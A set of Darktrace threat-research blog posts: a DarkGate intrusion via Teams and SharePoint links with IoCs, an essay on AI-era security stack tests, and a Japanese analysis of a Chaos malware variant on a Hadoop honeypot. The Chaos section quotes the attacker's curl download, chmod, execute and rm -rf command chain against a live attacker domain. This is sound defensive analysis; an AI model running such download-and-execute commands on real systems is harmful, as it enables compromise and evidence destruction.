December 15, 2023

How Darktrace Halted A DarkGate in MS Teams

Discover how Darktrace thwarted DarkGate malware in Microsoft Teams. Stay informed on the latest cybersecurity measures and protect your business.

Written by

Natalia Sánchez Rocafort

Cyber Security Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Natalia Sánchez Rocafort

Cyber Security Analyst

Dec 2023

Securing Microsoft Teams and SharePoint

Given the prevalence of the Microsoft Teams and Microsoft SharePoint platforms in the workplace in recent years, it is essential that organizations stay vigilant to the threat posed by applications vital to hybrid and remote work and prioritize the security and cyber hygiene of these services. For just as the use of these platforms has increased exponentially with the rise of remote and hybrid working, so too has the malicious use of them to deliver malware to unassuming users.

Researchers across the threat landscape have begun to observe these legitimate services being leveraged by malicious actors as an initial access method. Microsoft Teams can easily be exploited to send targeted phishing messages to individuals within an organization, while appearing legitimate and safe. Although the exact contents of these messages may vary, the messages frequently use social engineering techniques to lure users to click on a SharePoint link embedded into the message. Interacting with the malicious link will then download a payload [1].

Darktrace observed one such malicious attempt to use Microsoft Teams and SharePoint in September 2023, when a device was observed downloading DarkGate, a commercial trojan that is known to deploy other strains of malware, also referred to as a commodity loader [2], after clicking on SharePoint link. Fortunately for the customer, Darktrace’s suite of products was perfectly poised to identify the initial signs of suspicious activity and Darktrace RESPOND™ was able to immediately halt the advancement of the attack.

DarkGate Attack Overview

On September 8, 2023, Darktrace DETECT™ observed around 30 internal devices on a customer network making unusual SSL connections to an external SharePoint site which contained the name of a person, 'XXXXXXXX-my.sharepoint[.]com' (107.136[.]8, 13.107.138[.]8). The organization did not have any employees who went by this name and prior to this activity, no internal devices had been seen contacting the endpoint.

At first glance, this initial attack vector would have appeared subtle and seemingly trustworthy to users. Malicious actors likely sent various users a phishing message via Microsoft Teams that contained the spoofed SharePoint link to the personalized SharePoint link ''XXXXXXXX-my.sharepoint[.]com'.

Figure 1: Advanced Search query showing a sudden spike in connections to ''XXXXXXXX -my.sharepoint[.]com'.

Darktrace observed around 10 devices downloading approximately 1 MB of data during their connections to the Sharepoint endpoint. Darktrace DETECT observed some of the devices making subsequent HTTP GET requests to a range of anomalous URIs. The devices utilized multiple user-agents for these connections, including ‘curl’, a command line tool that allows individuals to request and transfer data from a specific URL. The connections were made to the IP 5.188.87[.]58, an endpoint that has been flagged as an indicator of compromise (IoC) for DarkGate malware by multiple open-source intelligence (OSINT) sources [3], commonly associated with HTTP GET requests:

GET request over port 2351 with the User-Agent header 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)' and the target URI '/bfyxraav' to 5.188.87[.]58
GET request over port 2351 with the user-agent header 'curl' and the target URI '/' to 5.188.87[.]58
GET request over port 2351 with the user-agent header 'curl/8.0.1' and the target URI '/msibfyxraav' to 5.188.87[.]58

The HTTP GET requests made with the user-agent header 'curl' and the target URI '/' to 5.188.87[.]58 were responded to with a filename called 'Autoit3.exe'. The other requests received script files with names ending in '.au3, such as 'xkwtvq.au3', 'otxynh.au3', and 'dcthbq.au3'. DarkGate malware has been known to make use of legitimate AutoIt files, and typically runs multiple AutoIt scripts (‘.au3’) [4].

Following these unusual file downloads, the devices proceeded to make hundreds of HTTP POST requests to the target URI '/' using the user-agent header 'Mozilla/4.0 (compatible; Synapse)' to 5.188.87[.]58. The contents of these requests, along with the contents of the responses, appear to be heavily obfuscated.

Figure 2: Example of obfuscated response, as shown in a packet capture downloaded from Darktrace.

While Microsoft’s Safe Attachments and Safe Links settings were unable to detect this camouflaged malicious activity, Darktrace DETECT observed the unusual over-the-network connectivity that occurred. While Darktrace DETECT identified multiple internal devices engaging in this anomalous behavior throughout the course of the compromise, the activity observed on one device in particular best showcases the overall kill chain of this attack.

The device in question was observed using two different user agents (curl/8.0.1 and Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)) when connecting to the endpoint 5.188.87[.]58 and target URI ‘/bfyxraav’. Additionally, Darktrace DETECT recognized that it was unusual for this device to be making these HTTP connections via destination port 2351.

As a result, Darktrace’s Cyber AI Analyst™ launched an autonomous investigation into the suspicious activity and was able to connect the unusual external connections together, viewing them as one beaconing incident as opposed to isolated series of connections.

Figure 3: Cyber AI Analyst investigation summarizing the unusual repeated connections made to 5.188.87[.]58 via destination port 2351.

Darktrace then observed the device downloading the ‘Autoit3.exe’ file. Darktrace RESPOND took swift mitigative action by blocking similar connections to this endpoint, preventing the device from downloading any additional suspicious files.

Figure 4: Suspicious ‘Autoit3.exe’ downloaded by the source device from the malicious external endpoint.

Just one millisecond later, Darktrace observed the device making suspicious HTTP GET requests to URIs including ‘/msibfyxraav’. Darktrace recognized that the device had carried out several suspicious actions within a relatively short period of time, breaching multiple DETECT models, indicating that it may have been compromised. As a result, RESPOND took action against the offending device by preventing it from communicating externally [blocking all outbound connections] for a period of one hour, allowing the customer’s security team precious time to address the issue.

It should be noted that, at this point, had the customer subscribed to Darktrace’s Proactive Threat Notification (PTN) service, the Darktrace Security Operations Center (SOC) would have investigated these incidents in greater detail, and likely would have sent a notification directly to the customer to inform them of the suspicious activity.

Additionally, AI Analyst collated various distinct events and suggested that these stages were linked as part of an attack. This type of augmented understanding of events calculated at machine speed is extremely valuable since it likely would have taken a human analyst hours to link all the facets of the incident together.

Figure 5: AI Analyst investigation showcasing the use of the ‘curl’ user agent to connect to the target URI ‘/msibfyxraav’.

Figure 6: Darktrace RESPOND moved to mitigate any following connections by blocking all outgoing traffic for 1 hour.

Following this, an automated investigation was launched by Microsoft Defender for Endpoint. Darktrace is designed to coordinate with multiple third-party security tools, allowing for information on ongoing incidents to be seamlessly exchanged between Darktrace and other security tools. In this instance, Microsoft Defender identified a ‘low severity’ incident on the device, this automatically triggered a corresponding alert within DETECT, presented on the Darktrace Threat Visuallizer.

The described activity occurred within milliseconds. At each step of the attack, Darktrace RESPOND took action either by enforcing expected patterns of life [normality] on the affected device, blocking connections to suspicious endpoints for a specified amount of time, and/or blocking all outgoing traffic from the device. All the relevant activity was detected and promptly stopped for this device, and other compromised devices, thus containing the compromise and providing the security team invaluable remediation time.

Figure 7: Overview of the compromise activity, all of which took place within a matter of miliseconds.

Darktrace identified similar activity on other devices in this customer’s network, as well as across Darktrace’s fleet around the same time in early September.

On a different customer environment, Darktrace DETECT observed more than 25 ‘.au3’ files being downloaded; this activity can be seen in Figure 9.

Figure 8: High volume of file downloads following GET request and 'curl' commands.

Figure 9 provides more details of this activity, including the source and destination IP addresses (5.188.87[.]58), the destination port, the HTTP method used and the MIME/content-type of the file

Figure 9: Additional information of the anomalous connections.

A compromised server in another customer deployment was seen establishing unusual connections to the external IP address 80.66.88[.]145 – an endpoint that has been associated with DarkGate by OSINT sources [5]. This activity was identified by Darktrace/DETECT as a new connection for the device via an unusual destination port, 2840. As the device in question was a critical server, Darktrace DETECT treated it with suspicion and generated an ‘Anomalous External Activity from Critical Network Device’ model breach.

Figure 10: Model breach and model breach event log for suspicious connections to additional endpoint.

Conclusion

While Microsoft Teams and SharePoint are extremely prominent tools that are essential to the business operations of many organizations, they can also be used to compromise via living off the land, even at initial intrusion. Any Microsoft Teams user within a corporate setting could be targeted by a malicious actor, as such SharePoint links from unknown senders should always be treated with caution and should not automatically be considered as secure or legitimate, even when operating within legitimate Microsoft infrastructure.

Malicious actors can leverage these commonly used platforms as a means to carry out their cyber-attacks, therefore organizations must take appropriate measures to protect and secure their digital environments. As demonstrated here, threat actors can attempt to deploy malware, like DarkGate, by targeting users with spoofed Microsoft Teams messages. By masking malicious links as legitimate SharePoint links, these attempts can easily convince targets and bypass traditional security tools and even Microsoft’s own Safe Links and Safe Attachments security capabilities.

When the chain of events of an attack escalates within milliseconds, organizations must rely on AI-driven tools that can quickly identify and automatically respond to suspicious events without latency. As such, the value of Darktrace DETECT and Darktrace RESPOND cannot be overstated. Given the efficacy and efficiency of Darktrace’s detection and autonomous response capabilities, a more severe network compromise in the form of the DarkGate commodity loader was ultimately averted.

Credit to Natalia Sánchez Rocafort, Cyber Security Analyst, Zoe Tilsiter.

Appendices

Darktrace DETECT Model Detections

[Model Breach: Device / Initial Breach Chain Compromise 100% –– Breach URI: /#modelbreach/114039 ] (Enhanced Monitoring)· [Model Breach: Device / Initial Breach Chain Compromise 100% –– Breach URI: /#modelbreach/114124 ] (Enhanced Monitoring)
[Model Breach: Device / New User Agent and New IP 62% –– Breach URI: /#modelbreach/114030 ]
[Model Breach: Anomalous Connection / Application Protocol on Uncommon Port 46% –– Breach URI: /#modelbreach/114031 ]
[Model Breach: Anomalous Connection / New User Agent to IP Without Hostname 62% –– Breach URI: /#modelbreach/114032 ]
[Model Breach: Device / New User Agent 32% –– Breach URI: /#modelbreach/114035 ]
[Model Breach: Device / Three Or More New User Agents 31% –– Breach URI: /#modelbreach/114036 ]
[Model Breach: Anomalous Server Activity / Anomalous External Activity from Critical Network Device 62% –– Breach URI: /#modelbreach/612173 ]
[Model Breach: Anomalous File / EXE from Rare External Location 61% –– Breach URI: /#modelbreach/114037 ]
[Model Breach: Anomalous Connection / Multiple Connections to New External TCP Port 61% –– Breach URI: /#modelbreach/114042 ]
[Model Breach: Security Integration / Integration Ransomware Detected 100% –– Breach URI: /#modelbreach/114049 ]
[Model Breach: Compromise / Beaconing Activity To External Rare 62% –– Breach URI: /#modelbreach/114059 ]
[Model Breach: Compromise / HTTP Beaconing to New Endpoint 30% –– Breach URI: /#modelbreach/114067 ]
[Model Breach: Security Integration / C2 Activity and Integration Detection 100% –– Breach URI: /#modelbreach/114069 ]
[Model Breach: Anomalous File / EXE from Rare External Location 55% –– Breach URI: /#modelbreach/114077 ]
[Model Breach: Compromise / High Volume of Connections with Beacon Score 66% –– Breach URI: /#modelbreach/114260 ]
[Model Breach: Security Integration / Low Severity Integration Detection 59% –– Breach URI: /#modelbreach/114293 ]
[Model Breach: Security Integration / Low Severity Integration Detection 33% –– Breach URI: /#modelbreach/114462 ]
[Model Breach: Security Integration / Integration Ransomware Detected 100% –– Breach URI: /#modelbreach/114109 ]· [Model Breach: Device / Three Or More New User Agents 31% –– Breach URI: /#modelbreach/114118 ]· [Model Breach: Anomalous Connection / Application Protocol on Uncommon Port 46% –– Breach URI: /#modelbreach/114113 ] · [Model Breach: Anomalous Connection / New User Agent to IP Without Hostname 62% –– Breach URI: /#modelbreach/114114 ]· [Model Breach: Device / New User Agent 32% –– Breach URI: /#modelbreach/114117 ]· [Model Breach: Anomalous File / EXE from Rare External Location 61% –– Breach URI: /#modelbreach/114122 ]· [Model Breach: Security Integration / Low Severity Integration Detection 54% –– Breach URI: /#modelbreach/114310 ]
[Model Breach: Security Integration / Integration Ransomware Detected 65% –– Breach URI: /#modelbreach/114662 ]Darktrace/Respond Model Breaches
[Model Breach: Antigena / Network::External Threat::Antigena Suspicious File Block 61% –– Breach URI: /#modelbreach/114033 ]
[Model Breach: Antigena / Network::External Threat::Antigena File then New Outbound Block 100% –– Breach URI: /#modelbreach/114038 ]
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block 100% –– Breach URI: /#modelbreach/114040 ]
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block 87% –– Breach URI: /#modelbreach/114041 ]
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Controlled and Model Breach 87% –– Breach URI: /#modelbreach/114043 ]
[Model Breach: Antigena / Network::External Threat::Antigena Ransomware Block 100% –– Breach URI: /#modelbreach/114052 ]
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Significant Security Integration and Network Activity Block 87% –– Breach URI: /#modelbreach/114070 ]
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Breaches Over Time Block 87% –– Breach URI: /#modelbreach/114071 ]
[Model Breach: Antigena / Network::External Threat::Antigena Suspicious Activity Block 87% –– Breach URI: /#modelbreach/114072 ]
[Model Breach: Antigena / Network::External Threat::Antigena Suspicious File Block 53% –– Breach URI: /#modelbreach/114079 ]
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Breaches Over Time Block 64% –– Breach URI: /#modelbreach/114539 ]
[Model Breach: Antigena / Network::External Threat::Antigena Ransomware Block 66% –– Breach URI: /#modelbreach/114667 ]
[Model Breach: Antigena / Network::External Threat::Antigena Suspicious Activity Block 79% –– Breach URI: /#modelbreach/114684 ]·
[Model Breach: Antigena / Network::External Threat::Antigena Ransomware Block 100% –– Breach URI: /#modelbreach/114110 ]·
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block 87% –– Breach URI: /#modelbreach/114111 ]·
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Controlled and Model Breach 87% –– Breach URI: /#modelbreach/114115 ]·
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Breaches Over Time Block 87% –– Breach URI: /#modelbreach/114116 ]·
[Model Breach: Antigena / Network::External Threat::Antigena Suspicious File Block 61% –– Breach URI: /#modelbreach/114121 ]·
[Model Breach: Antigena / Network::External Threat::Antigena File then New Outbound Block 100% –– Breach URI: /#modelbreach/114123 ]·
[Model Breach: Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block 100% –– Breach URI: /#modelbreach/114125 ]

List of IoCs

IoC - Type - Description + Confidence

5.188.87[.]58 - IP address - C2 endpoint

80.66.88[.]145 - IP address - C2 endpoint

/bfyxraav - URI - Possible C2 endpoint URI

/msibfyxraav - URI - Possible C2 endpoint URI

Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - User agent - Probable user agent leveraged

curl - User agent - Probable user agent leveraged

curl/8.0.1 - User agent - Probable user agent leveraged

Mozilla/4.0 (compatible; Synapse) - User agent - Probable user agent leveraged

Autoit3.exe - Filename - Exe file

CvUYLoTv.au3

eDVeqcCe.au3

FeLlcFRS.au3

FTEZlGhe.au3

HOrzcEWV.au3

rKlArXHH.au3

SjadeWUz.au3

ZgOLxJQy.au3

zSrxhagw.au3

ALOXitYE.au3

DKRcfZfV.au3

gQZVKzek.au3

JZrvmJXK.au3

kLECCtMw.au3

LEXCjXKl.au3

luqWdAzF.au3

mUBNrGpv.au3

OoCdHeJT.au3

PcEJXfIl.au3

ssElzrDV.au3

TcBwRRnp.au3

TFvAUIgu.au3

xkwtvq.au3

otxynh.au3

dcthbq.au3 - Filenames - Possible exe files delivered in response to curl/8.0.1 GET requests with Target URI '/msibfyxraav

f3a0a85fe2ea4a00b3710ef4833b07a5d766702b263fda88101e0cb804d8c699 - SHA256 file hash - Possible SHA256 hashes of 'Autoit3.exe' files

afa3feea5964846cd436b978faa7d31938e666288ffaa75d6ba75bfe6c12bf61 - SHA256 file hash - Possible SHA256 hashes of 'Autoit3.exe' files

63aeac3b007436fa8b7ea25298362330423b80a4cb9269fd2c3e6ab1b1289208 - SHA256 file hash - Possible SHA256 hashes of 'Autoit3.exe' files

ab6704e836a51555ec32d1ff009a79692fa2d11205f9b4962121bda88ba55486 - SHA256 file hash - Possible SHA256 hashes of 'Autoit3.exe' files

References

1. https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams

2. https://feedit.cz/wp-content/uploads/2023/03/YiR2022_onepager_ransomware_loaders.pdf

‍3. https://www.virustotal.com/gui/ip-address/5.188.87[.]58

‍4. https://www.forescout.com/resources/darkgate-loader-malspam-campaign/

‍5. https://otx.alienvault.com/indicator/ip/80.66.88[.]145

執筆者

Natalia Sánchez Rocafort

Cyber Security Analyst

Inside the SOC

Written by

Natalia Sánchez Rocafort

Cyber Security Analyst

•

April 7, 2026

Nathaniel Bill

Malware Research Engineer

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AI

April 8, 2026

How to Secure AI and Find the Gaps in Your Security Operations

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.

You can stay up to date on attacker behavior by monitoring our Inside the SOC blog page where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)

Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.

Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)

Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

What happened?

Who did it?

Why did they do it?

How did they do it?

Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Markets follow patterns. Expect an initial bloom of AI posture & governance tools, followed quickly by observability, then detection & response, and ultimately investigation & remediation capabilities that consolidate under broader platforms. That determinant won’t be marketing it’ll be attacker innovation. Analytical posts that tracked earlier waves (BeyondTrust exploitation, WSUS abuse) and AI‑era attacks (React2Shell) suggest defenders will need faster fusion across functions as adversaries use AI to widen and accelerate their playbooks.

Bottom line: In the age of AI, seams are the new surface. The winners will be teams that collapse the distance between seeing and doing and between domains that used to operate apart.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

Shadow Identity Test

Create a temporary identity with no history.
Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.

Context Propagation Test

Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.

Tests you can run

Chain Reaction Test

Simulate a primitive threat (e.g., access from TOR exit node).
Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
Weak seam indicator: only one tool reacts.

Autonomous Boundary Test

Induce a low‑grade anomaly (credential spray simulation).
Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.

Tests you can run

One‑Hour Timeline Build Test

Pick any detection.
Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
Weak seam indicator: they spend >50% of the hour stitching exports.

Multi‑Hop Replay Test

Simulate an incident that crosses domains (phish → SaaS token → data access).
Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

Can your stack detect the setup behaviors before an attack becomes irreversible?
Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

Intent‑Before‑Impact Test

Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
Mature systems will flag intent even without an exploit.

CVE‑Window Test

During a real CVE patch cycle, measure detection lag vs. public PoC release.
Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

Closed‑Loop Remediation Test

Introduce a small misconfiguration (over‑permissioned identity).
Trigger an anomaly.
Mature stacks will: detect → contain → recommend or automate posture repair.

Drift‑Regression Test

After remediation, intentionally re‑introduce drift.
The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

Is “normal behavior” defined in one place or many?
Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

Baseline Drift Test

Change the behavior of a service account for 24 hours.
Mature platforms will flag the deviation early and propagate updated expectations.

Cross‑Domain Baseline Consistency Test

Compare identity’s risk score vs. cloud vs. SaaS.
Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams shouldn’t ask:
“How do I secure AI?”

They should ask:
“Can my stack operate as one system before AI amplifies pressure on every seam?”

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

About the author

Nabil Zoldjalali

VP, Field CISO

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April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです^[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE（共通脆弱性識別子）を通じて拡散します。その後感染したデバイスをDDoS（分散型サービス拒否攻撃）ボットネットや、暗号通貨マイニングに使用します。

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint. — 図1：保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます：

‍curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。‍
chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。‍
./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬（RAT）を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー（VPS）です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service. — 図2：systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています：

HTTP
TLS
TCP
UDP
WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール（C2）サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed. — 図3：StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

